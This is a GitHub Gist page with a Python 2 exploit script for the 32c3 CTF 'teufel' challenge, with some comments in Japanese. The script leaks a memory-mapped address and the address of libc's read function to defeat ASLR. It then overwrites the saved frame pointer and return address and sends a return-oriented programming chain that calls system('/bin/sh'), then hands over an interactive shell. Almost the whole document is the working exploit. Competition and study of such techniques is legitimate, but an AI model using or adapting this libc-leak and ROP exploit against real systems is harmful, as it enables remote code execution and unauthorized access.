Created
January 7, 2016 08:01
-
-
Save Ga-ryo/f5ab2143cf045caf1fe7 to your computer and use it in GitHub Desktop.
teufel.py(32c3 ctf)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import struct, socket, sys, telnetlib | |
from libformatstr import FormatStr | |
def sock(remoteip="127.0.0.1", remoteport=1234): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((remoteip, remoteport)) | |
return s, s.makefile('rw', bufsize=0) | |
def read_until(f, delim='\n'): | |
data = '' | |
while not data.endswith(delim): | |
data += f.read(1) | |
return data | |
def shell(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def p(a): return struct.pack("<Q",a) | |
def u(a): return struct.unpack("<Q",a)[0] | |
HOST, PORT = "localhost", 4444 | |
s, f = sock(HOST, PORT) | |
# 40051f: 48 8d 7d f8 lea -0x8(%rbp),%rdi | |
# 400523: e8 08 ff ff ff callq 400430 <puts@plt> | |
puts = 0x40051f | |
read_got = 0x600fe8 | |
read_offset = 0xd95e0 | |
system_offset = 0x414f0 | |
bin_sh_offset = 0x161180 | |
pop_rdi_ret_offset = 0x22442 | |
#stage1 leak mmaped address | |
f.write(p(9)) | |
f.write('AAAAAAAAA') | |
addr = u(('\x00'+f.read(14)[9:14]).ljust(8,'\x00')) | |
print '[+] leak: ' + hex(addr) | |
#stage2 leak offset(mmaped address and libc_base) | |
#libc base とmmap(0,hoge,hoge,hoge,hoge,hoge) されたアドレスのオフセットは一定になる(libcもmmapでマッピングされてるからか?) | |
#remoteでも成功させるためにオフセットはブルートフォースしない | |
#offsetの下1byteがNULLにならないような関数をリーク対象として選ぶ | |
f.write(p(24)) | |
buf = 'A'*8 | |
buf += p(read_got+0x8) | |
buf += p(puts) | |
f.write(buf) | |
read_until(f) | |
read_until(f) | |
read_addr = u(f.read(6).ljust(8,'\0')) | |
print '[+] read@libc address:' + hex(read_addr) | |
libc_base = read_addr - read_offset | |
print '[+] libc_base address:' + hex(libc_base) | |
libc_base_offset = addr - libc_base | |
print '[+] libc_base offset:' + hex(libc_base_offset) | |
HOST, PORT = "localhost", 4444 | |
s, f = sock(HOST, PORT) | |
#stage1 leak mmaped address | |
f.write(p(9)) | |
f.write('AAAAAAAAA') | |
addr = u(('\x00'+f.read(14)[9:14]).ljust(8,'\x00')) | |
print '[+] leak: ' + hex(addr) | |
print '[+] this time libc_base:' + hex(addr-libc_base_offset) | |
#stage2 mprotect(writable) | |
f.write(p(24)) | |
buf = 'A'*8 | |
buf += p(addr-0x1000) | |
buf += p(0x4004ae) | |
f.write(buf) | |
#stage3 ROP | |
f.write(200) | |
buf = 'A'*8 | |
buf += p(0xdeadbeef) | |
buf += p(addr - libc_base_offset + pop_rdi_ret_offset) | |
buf += p(addr - libc_base_offset + bin_sh_offset) | |
buf += p(addr - libc_base_offset + system_offset) | |
raw_input('debug') | |
f.write(buf) | |
shell(s) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment